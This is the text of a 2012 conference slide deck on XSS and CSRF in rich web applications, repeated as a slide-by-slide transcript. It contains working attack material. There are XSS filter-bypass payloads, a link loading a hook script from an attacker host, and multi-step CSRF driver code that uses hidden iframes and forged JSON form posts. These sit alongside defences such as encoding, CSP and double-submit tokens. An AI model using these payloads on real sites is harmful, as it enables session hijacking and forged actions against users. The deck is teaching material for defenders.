Application Security for
Rich Internet Applications



  @johnwilander at Jfokus Feb 14 2012
          Stockholm, Sweden
Frontend developer at
 Svenska Handelsbanken

 Researcher in application
 security
 Co-leader OWASP Sweden


@johnwilander
johnwilander.com (music)
  johnwilander.se (papers
           etc)
OWASP Top 10
 Top web application
  security risks 2010
1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session
   Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10.Unvalidated Redirects and Forwards
”Do I have to care?”
Likelihood of ≥ 1 vulnerability on your site


From: WhiteHat Website Security Statistic Report, Winter 2011
Per extension

                                .asp .aspx .do .jsp .php

      Sites having had ≥ 1
                                74 % 73 % 77 % 80 % 80 %
      serious vulnerability

   Sites currently having ≥ 1
                                57 % 58 % 56 % 59 % 63 %
      serious vulnerability



From: WhiteHat Website Security Statistic Report, Spring 2010
But we’re moving
  towards more
 code client-side
Client-Side, JavaScript
       Vulnerabilities




From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Client-Side, JavaScript
       Vulnerabilities




From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Focus Today


• Part 1: Cross-Site Scripting (XSS)
• Part 2: Cross-Site Request Forgery (CSRF)
Part 1: XSS ...
the hack that keeps on hacking
Cross-Site Scripting
        Theory


           Scripting




                        s-Site
                   C ros
Cross-Site Scripting
           Type 1, reflected



                  Scripting

                 Cross-Site
   Ph
      ish
          ing
Cross-Site Scripting
      Type 2, stored




                            s-S ite
                       C ros
Cross-Site Scripting
      Type 2, stored



         Scripting
Cross-Site Scripting
                             Type 0, DOM-based

          ng
    i pti
 Scr
               Cros
                   s-Sit
                         e




              Ph
                 ish
                     in       g
Cross-Site Scripting
                             Type 0, DOM-based

          ng
    i pti
 Scr
               Cros
       No server roundtrip!
                   s-Sit
                         e


       Also, single-page interfaces
       make injected scripts ”stick”
         Ph
            isin
       in the DOM.
                 g
https://secure.bank.com/
authentication#language=sv&country=SE
https://secure.bank.com/
authentication#language=sv&country=SE
                 Never sent to server

               Be careful when you use
                this data on your page
Would you click this?

https://secure.bank.com/authentication
    #language=<script src="http://
      attackr.se:3000/hook.js"></
          script>&country=SE
Would you click this?

https://secure.bank.com/authentication
#language=%3Cscript%20src%3D%22http%3A
%2F%2Fattackr.se%3A3000%2Fhook.js%22%3E
      %3C%2Fscript%3E&country=SE
Would you click this?


   http://bit.ly/Yg4T32
Filter out <script>?
var ... ,
 stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,


/**
 * Strips all script tags
 * @param {Object} value The text from which to strip script tags
 * @return {String} The stripped text
 */
stripScripts : function(v) {
   return !v ? v : String(v).replace(stripScriptsRe, "");
},


       http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
Filter out <script>?
<img src=1 onerror=alert(1)>

<svg onload="javascript:alert(1)"
 xmlns="http://www.w3.org/2000/svg"></svg>

<body onload=alert('XSS')>

<table background="javascript:alert('XSS')">

¼script¾alert(¢XSS¢)¼/script¾

<video poster=javascript:alert(1)//
”C’mon, such attacks
 don’t really work,
    do they?”

    Yep, demo.
DOM-Based XSS
                 Twitter September 2010



Full story at
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
(function(g){
 var a = What does this code do?
          location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
”https://twitter.com/#!/
    johnwilander”.split(”#!”)[1]
    returns
    ”/johnwilander”

(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
”https://twitter.com/#!/
     johnwilander”.split(”#!”)[1]
     returns
     ”/johnwilander”

(function(g){
      window.location =
 var a = location.href.split("#!")[1];
               ”/johnwilander”
 if(a) { ’/’ => keeps the domain but changes
      initial
   g.location = a;
      the path
 }
})(window);
”https://twitter.com/#!/
     johnwilander”.split(”#!”)[1]
     returns
     ”/johnwilander”

(function(g){
      window.location =
 var a = location.href.split("#!")[1];
               ”/johnwilander”
 if(a) { ’/’ => keeps the domain but changes
      initial
   g.location = a;
      the path
 }
      So
})(window);
     twitter.com/#!/johnwilander
     becomes
     twitter.com/johnwilander

                   Read more: http://kotowicz.net/absolute/
http://twitter.com/
#!javascript:alert(document.domain);
http://twitter.com/
#!javascript:alert(document.domain);
          Never sent to server
          => DOM-based XSS
The Patch™
var c = location.href.split("#!")[1];
if (c) {
  window.location = c.replace(":", "");
} else {
  return true;
}
The Patch™
var c = location.href.split("#!")[1];
if (c) {
  window.location = c.replace(":", "");
} else {
  return true;
}
              Replaces the first occurance
                  of the search string
http://twitter.com/
#!javascript::alert(document.domain);
http://twitter.com/
#!javascript::alert(document.domain);
The 2nd Patch™
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters
                   Global match
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters
                   Global match Ignore case
Were they done now?
http://twitter.com
#!javascript&x58;alert(1)
http://twitter.com
#!javascript&x58;alert(1)


     HTML entity version of ’:’
The n:th Patch™
                             (this one works)

(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location.pathname = a;
 }
})(window);




    And hey, Twitter is doing the right thing: https://twitter.com/about/security
Fix these issues properly with ...
Client-Side Encoding
https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
 Throws Error for double encoding or multiple encoding
 types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
 Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
 Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
 Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
 Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
 Encodes for safe usage in href etc
https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
 Throws Error for double encoding or multiple encoding
 types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
 Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
 Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
 Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
 Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
 Encodes for safe usage in href etc
Let’s do a short demo
        of that
Also, check out ...

Content Security Policy
http://people.mozilla.com/~bsterne/
     content-security-policy/
New HTTP Response
        Header Saying ...

Only allow scripts from whitelisted domains
and
only allow scripts from files, i.e. no inline scripts
'self' = same URL, protocol and port


X-Content-Security-Policy: default-src 'self'
Accept all content including scripts only from my own URL+port

X-Content-Security-Policy: default-src *;
script-src trustedscripts.foo.com
Accept media only from my URL+port (images, stylesheets,
fonts, ...) and scripts only from trustedscripts.foo.com
Part2: CSRF
    against RESTful services
and in several, semi-blind steps
Cross-Site Request
     Forgery
        Request Fo
                   rgery



 Cro
     ss-
        Sit
            e
Cross-Site Request
     Forgery
             Request Forgery
         Cros
             s-Si
                  te
  Ph
    ish
       ing
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST

John: I love OWASP!
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST

John: I hate OWASP!
What’s on your mind?             What’s on your mind?
                       POST   <form id="target" method="POST"
                               action="https://1-liner.org/form">
John: I hate OWASP!             <input type="text" value="I hate
                                 OWASP!" name="oneLiner"/>
                                <input type="submit"
                                 value="POST"/>
                              </form>

                              <script type="text/javascript">
                                $(document).ready(function() {
                                    $('#form').submit();
                                });
                              </script>
<form id="target" method="POST"
           action="https://1-liner.org/form">
            <input type="text" value="I hate
              OWASP!" name="oneLiner"/>
            <input type="submit"
What’s on your mind?         What’s on your mind?
              value="POST"/>
                     POST
         </form>
John: I hate OWASP!

           <script>
             $(document).ready(function() {
                 $('#target').submit();
             });
           </script>
Multi-Step,
Semi-Blind
  CSRF
What about ”several steps”?




Step 1       Step 2      Step 3
Step 1                Step 2               Step 3




State built up i steps, server roundtrip in-between
Step 1   Step 2         Step 3



                                 st
                              ue ll
                          r eq wi
                        ed tep ous
                    rg t s
                   o s
                  F a          re vi
                      l      p
                   to the
                   m iss
Can we forge timed GETs and
POSTs
in a deterministic, non-blind
way?


 Step 1         Step 2     Step 3




            1    2   3 4
csrfMultiDriver.html

  invisible
  iframe

  csrfMulti0.html
csrfMultiDriver.html

  invisible          invisible
  iframe             iframe

   target0.html     csrfMulti1.html




                  Wait
csrfMultiDriver.html

  invisible       invisible          invisible
  iframe          iframe             iframe

   target0.html    target1.html     csrfMulti2.html




                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible          invisible
  iframe          iframe          iframe             iframe

   target0.html    target1.html    target2.html     csrfMulti3.html




                                                  Wait
csrfMultiDriver.html

  invisible       invisible       invisible       invisible
  iframe          iframe          iframe          iframe

   target0.html    target1.html    target2.html    target3.html
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "0", GET_SRC =
          "http://www.vulnerable.com/some.html?param=1";
    </script>
    <script src="../iframeGetter.js"></script>
</head>
<body onload="IFRAME_GETTER.onLoad()">
Extra easy to CSRF since it's done with HTTP GET.
</body>
</html>




                                              csrfMulti0.ht
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
var IFRAME_GETTER = {};
IFRAME_GETTER.haveGotten = false;
IFRAME_GETTER.reportAndGet = function() {
    var imgElement;
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_GETTER.haveGotten) {
            The wait for a GET CSRF is over
        imgElement = document.createElement("img");
        imgElement.setAttribute("src", GET_SRC);
                    when onerror fires
        imgElement.setAttribute("height", "0");
        imgElement.setAttribute("width", "0");
        imgElement.setAttribute("onerror",
        "javascript:clearInterval(IFRAME_GETTER.intervalId)");
        document.body.appendChild(imgElement);
        IFRAME_GETTER.haveGotten = true;
    }
};
IFRAME_GETTER.onLoad = function() {
    IFRAME_GETTER.intervalId =
      setInterval(IFRAME_GETTER.reportAndGet, 1000);
};
                                             iframeGetter.js
<!DOCTYPE html>
<html>
<head>
    <script>
        var IFRAME_ID = "1";
    </script>
    <script src="../iframePoster.js"></script>
</head>
<body onload="IFRAME_POSTER.onLoad()">

<form id="target" method="POST"
 action="https://www.vulnerable.com/addBasket.html"
 style="visibility:hidden">
    <input type="text" name="goodsId"
           value="95a0b76bde6b1c76e05e28595fdf5813" />
    <input type="text" name="numberOfItems" value="1" />
    <input type="text" name="country" value="SWE" />
    <input type="text" name="proceed" value="To checkout" />
</form>

</body>
</html>
                                                 csrfMulti1.ht
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit();
        IFRAME_POSTER.havePosted = true;
    }
};

IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var IFRAME_POSTER = {};

IFRAME_POSTER.havePosted = false;

IFRAME_POSTER.reportAndPost = function() {
    if(parent != undefined) {
        parent.postMessage(IFRAME_ID,
                           "https://attackr.se:8444");
    }
    if(!IFRAME_POSTER.havePosted) {
        document.forms['target'].submit(); is over
           The wait for a POST CSRF
        IFRAME_POSTER.havePosted = true;
    }   when parent stops getting messages
};

IFRAME_POSTER.onLoad = function() {
    setInterval(IFRAME_POSTER.reportAndPost, 1000);
};


                                              iframePoster
var CSRF = function(){
  var hideIFrames = true,
      frames = [
    {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti0.html'}
   ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: 'csrfMulti1.html'}
                ],
      appendIFrame =
        function(frame) {
           var domNode = '<iframe src="' + frame.src +
                         '" height="600" width="400"' +
                         (hideIFrames ? 'style="visibility: hidden"' : '') +
                         '></iframe>';
           $("body").append(domNode);
        };
…




                                                 csrfMultiDriver.ht
return {
  checkIFrames : function() {
     var frame;
     for (var i = 0; i < frames.length; i++) {
       frame = frames[i];
       if (!frame.hasOpenedIFrame) {
         appendIFrame(frame);
         frame.hasOpenedIFrame = true;
         break; // Only open one iframe at the time
       } else if(frame.hasPosted == "no") {
         frame.hasPosted = "maybe";
         break; // iframe not done posting, wait
       } else if(frame.hasPosted == "maybe") {
         frame.hasPosted = "yes";
         break; // iframe not done posting, wait
       } else if (frame.hasPosted == "yes") {
         continue; // Time to allow for the next iframe to open
       }
     }
  },

  receiveMessage : function(event) {
    if (event.origin == "https://attackr.se:8444") {
      CSRF.frames[parseInt(event.data)].hasPosted = "no";
      // Still on CSRF page so POST not done yet
    }
  }                                              csrfMultiDriver.ht
Demo Multi-Step,
Semi-Blind CSRF
  against amazon.com
 which has protection
     against CSRF.
The intention is to show
 how you can test your
       own sites.
There used to be a
protection in web
       1.5
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                   Payment info $




                         Token


                  Next                             Buy!
Forced Browsing
                   wizard-style



Shipment info ✉                    Payment info $




                         Re-Auth


                  Next                              Buy!
Forced Browsing
          wizard-style




Token 1     Token 2      Token 3
Forced Browsing
                  wizard-style




Token 1               Token 2               Token 3




State built up i steps, server roundtrip in-between
Forced Browsing
          wizard-style




Token 1     Token 2         Token 3



                                 fo rge
                            n’t to
                        uld est
                      Co qu
                        re t step
                           las out a
                            w tith oken
                             va  lid
But in RIAs ...
RIA & client-side
      state
   {
   ”purchase”: {}
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}]
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
RIA & client-side
      state
   {
   ”purchase”: {
     ”items”: [{},{}],
     ”shipment”: {},
     ”payment”: {}
     }
   }
Can an attacker
forge such a JSON
    structure?
CSRF possible?
     {
     ”purchase”: {
       ”items”: [{},{}],
       ”shipment”: {},
       ”payment”: {}
       }
     }
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners">



 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden">


 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
          8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">
                Forms produce a request body that
                looks like this:
 <input type="text"
  name=””
                theName=theValue
  value="" />
                 ... and that’s not valid JSON.


 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name='{"id": 0, "nickName": "John",
         "oneLiner": "I hate OWASP!",
         "timestamp": "20111006"}//'
  value="dummy" />

 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden" body that looks
              Produces a request
              like this:
 enctype="text/plain">

 <input type="text" 0, "nickName":
               {"id":
  name='{"id": "John","oneLiner": "I
                  0, "nickName": "John",
               hate OWASP!","timestamp":
         "oneLiner": "I hate OWASP!",
               "20111006"}//=dummy
         "timestamp": "20111006"}//'
  value="dummy" />
               ... and that is acceptable JSON!
 <input type="submit" value="Go" />

</form>
Demo CSRF POST
              then

Demo CSRF + XSS

The Browser Exploitation Framework
      http://beefproject.com/
Important in your REST
         API
 • Restrict do CSRF with GETe.g. POST
   Easier to
             HTTP method,


 • Restrict to AJAX if applicable
   X-Requested-With:XMLHttpRequest
   Cross-domain AJAX prohibited by default

 • Restrict media type(s), e.g.
   application/json
   HTML forms only allow URL encoded, multi-
   part and text/plain
Double Submit
  (CSRF Protection)
Double Submit
  (CSRF protection)

     Anti-CSRF value
     as cookie ...

     ... and
     request parameter
Double Submit
  (CSRF protection)




                     cookie ≠
                     request parameter


   Cannot read the
   anti-CSRF cookie to
   include it as parameter
Double Submit
             (CSRF protection)




Anti-CSRF cookie can
be generated client-side
=> no server-side state
Thanks!
@johnwilander

Application Security for Rich Internet Applicationss (Jfokus 2012)

  • 1.
    Application Security for RichInternet Applications @johnwilander at Jfokus Feb 14 2012 Stockholm, Sweden
  • 2.
    Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com (music) johnwilander.se (papers etc)
  • 3.
    OWASP Top 10 Top web application security risks 2010
  • 4.
    1. Injection 2. Cross-SiteScripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10.Unvalidated Redirects and Forwards
  • 5.
    ”Do I haveto care?”
  • 6.
    Likelihood of ≥1 vulnerability on your site From: WhiteHat Website Security Statistic Report, Winter 2011
  • 7.
    Per extension .asp .aspx .do .jsp .php Sites having had ≥ 1 74 % 73 % 77 % 80 % 80 % serious vulnerability Sites currently having ≥ 1 57 % 58 % 56 % 59 % 63 % serious vulnerability From: WhiteHat Website Security Statistic Report, Spring 2010
  • 8.
    But we’re moving towards more code client-side
  • 9.
    Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report
  • 10.
    Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report
  • 11.
    Focus Today • Part1: Cross-Site Scripting (XSS) • Part 2: Cross-Site Request Forgery (CSRF)
  • 12.
    Part 1: XSS... the hack that keeps on hacking
  • 13.
    Cross-Site Scripting Theory Scripting s-Site C ros
  • 14.
    Cross-Site Scripting Type 1, reflected Scripting Cross-Site Ph ish ing
  • 15.
    Cross-Site Scripting Type 2, stored s-S ite C ros
  • 16.
    Cross-Site Scripting Type 2, stored Scripting
  • 17.
    Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros s-Sit e Ph ish in g
  • 18.
    Cross-Site Scripting Type 0, DOM-based ng i pti Scr Cros No server roundtrip! s-Sit e Also, single-page interfaces make injected scripts ”stick” Ph isin in the DOM. g
  • 19.
  • 20.
    https://secure.bank.com/ authentication#language=sv&country=SE Never sent to server Be careful when you use this data on your page
  • 21.
    Would you clickthis? https://secure.bank.com/authentication #language=<script src="http:// attackr.se:3000/hook.js"></ script>&country=SE
  • 22.
    Would you clickthis? https://secure.bank.com/authentication #language=%3Cscript%20src%3D%22http%3A %2F%2Fattackr.se%3A3000%2Fhook.js%22%3E %3C%2Fscript%3E&country=SE
  • 23.
    Would you clickthis? http://bit.ly/Yg4T32
  • 24.
    Filter out <script>? var... , stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig, /** * Strips all script tags * @param {Object} value The text from which to strip script tags * @return {String} The stripped text */ stripScripts : function(v) { return !v ? v : String(v).replace(stripScriptsRe, ""); }, http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
  • 25.
    Filter out <script>? <imgsrc=1 onerror=alert(1)> <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> <body onload=alert('XSS')> <table background="javascript:alert('XSS')"> ¼script¾alert(¢XSS¢)¼/script¾ <video poster=javascript:alert(1)//
  • 26.
    ”C’mon, such attacks don’t really work, do they?” Yep, demo.
  • 27.
    DOM-Based XSS Twitter September 2010 Full story at http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
  • 28.
    (function(g){ var a= location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 29.
    (function(g){ var a= What does this code do? location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 30.
    ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a; } })(window);
  • 31.
    ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but changes initial g.location = a; the path } })(window);
  • 32.
    ”https://twitter.com/#!/ johnwilander”.split(”#!”)[1] returns ”/johnwilander” (function(g){ window.location = var a = location.href.split("#!")[1]; ”/johnwilander” if(a) { ’/’ => keeps the domain but changes initial g.location = a; the path } So })(window); twitter.com/#!/johnwilander becomes twitter.com/johnwilander Read more: http://kotowicz.net/absolute/
  • 33.
  • 34.
    http://twitter.com/ #!javascript:alert(document.domain); Never sent to server => DOM-based XSS
  • 35.
    The Patch™ var c= location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; }
  • 36.
    The Patch™ var c= location.href.split("#!")[1]; if (c) { window.location = c.replace(":", ""); } else { return true; } Replaces the first occurance of the search string
  • 37.
  • 38.
  • 39.
    The 2nd Patch™ (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window);
  • 40.
    (function(g){ var a= location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters
  • 41.
    (function(g){ var a= location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match
  • 42.
    (function(g){ var a= location.href.split("#!")[1]; if(a) { g.location = a.replace(/:/gi,""); } })(window); Regexp pattern delimiters Global match Ignore case
  • 43.
  • 44.
  • 45.
    http://twitter.com #!javascript&x58;alert(1) HTML entity version of ’:’
  • 46.
    The n:th Patch™ (this one works) (function(g){ var a = location.href.split("#!")[1]; if(a) { g.location.pathname = a; } })(window); And hey, Twitter is doing the right thing: https://twitter.com/about/security
  • 47.
    Fix these issuesproperly with ... Client-Side Encoding
  • 48.
    https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() ThrowsError for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc
  • 49.
    https://github.com/chrisisbeef/jquery-encoder • $.encoder.canonicalize() ThrowsError for double encoding or multiple encoding types, otherwise transforms %3CB%3E to <b> • $.encoder.encodeForCSS() Encodes for safe usage in style attribute and style() • $.encoder.encodeForHTML() Encodes for safe usage in innerHTML and html() • $.encoder.encodeForHTMLAttribute() Encodes for safe usage in HTML attributes • $.encoder.encodeForJavaScript() Encodes for safe usage in event handlers etc • $.encoder.encodeForURL() Encodes for safe usage in href etc
  • 50.
    Let’s do ashort demo of that
  • 51.
    Also, check out... Content Security Policy http://people.mozilla.com/~bsterne/ content-security-policy/
  • 52.
    New HTTP Response Header Saying ... Only allow scripts from whitelisted domains and only allow scripts from files, i.e. no inline scripts
  • 53.
    'self' = sameURL, protocol and port X-Content-Security-Policy: default-src 'self' Accept all content including scripts only from my own URL+port X-Content-Security-Policy: default-src *; script-src trustedscripts.foo.com Accept media only from my URL+port (images, stylesheets, fonts, ...) and scripts only from trustedscripts.foo.com
  • 54.
    Part2: CSRF against RESTful services and in several, semi-blind steps
  • 55.
    Cross-Site Request Forgery Request Fo rgery Cro ss- Sit e
  • 56.
    Cross-Site Request Forgery Request Forgery Cros s-Si te Ph ish ing
  • 57.
    What’s on yourmind? What’s on your mind? POST POST
  • 58.
    What’s on yourmind? What’s on your mind? I love OWASP! POST POST
  • 59.
    What’s on yourmind? What’s on your mind? I love OWASP! POST POST John: I love OWASP!
  • 60.
    What’s on yourmind? What’s on your mind? POST POST
  • 61.
    What’s on yourmind? What’s on your mind? POST I hate OWASP! POST
  • 62.
    What’s on yourmind? What’s on your mind? POST I hate OWASP! POST
  • 63.
    What’s on yourmind? What’s on your mind? POST I hate OWASP! POST John: I hate OWASP!
  • 64.
    What’s on yourmind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form"> John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $('#form').submit(); }); </script>
  • 65.
    <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" What’s on your mind? What’s on your mind? value="POST"/> POST </form> John: I hate OWASP! <script> $(document).ready(function() { $('#target').submit(); }); </script>
  • 66.
  • 67.
    What about ”severalsteps”? Step 1 Step 2 Step 3
  • 68.
    Step 1 Step 2 Step 3 State built up i steps, server roundtrip in-between
  • 69.
    Step 1 Step 2 Step 3 st ue ll r eq wi ed tep ous rg t s o s F a re vi l p to the m iss
  • 70.
    Can we forgetimed GETs and POSTs in a deterministic, non-blind way? Step 1 Step 2 Step 3 1 2 3 4
  • 71.
    csrfMultiDriver.html invisible iframe csrfMulti0.html
  • 72.
    csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  • 73.
    csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  • 74.
    csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  • 75.
    csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  • 76.
    <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script> </head> <body onload="IFRAME_GETTER.onLoad()"> Extra easy to CSRF since it's done with HTTP GET. </body> </html> csrfMulti0.ht
  • 77.
    var IFRAME_GETTER ={}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 78.
    var IFRAME_GETTER ={}; IFRAME_GETTER.haveGotten = false; IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { The wait for a GET CSRF is over imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); when onerror fires imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; } }; IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000); }; iframeGetter.js
  • 79.
    <!DOCTYPE html> <html> <head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script> </head> <body onload="IFRAME_POSTER.onLoad()"> <form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /> </form> </body> </html> csrfMulti1.ht
  • 80.
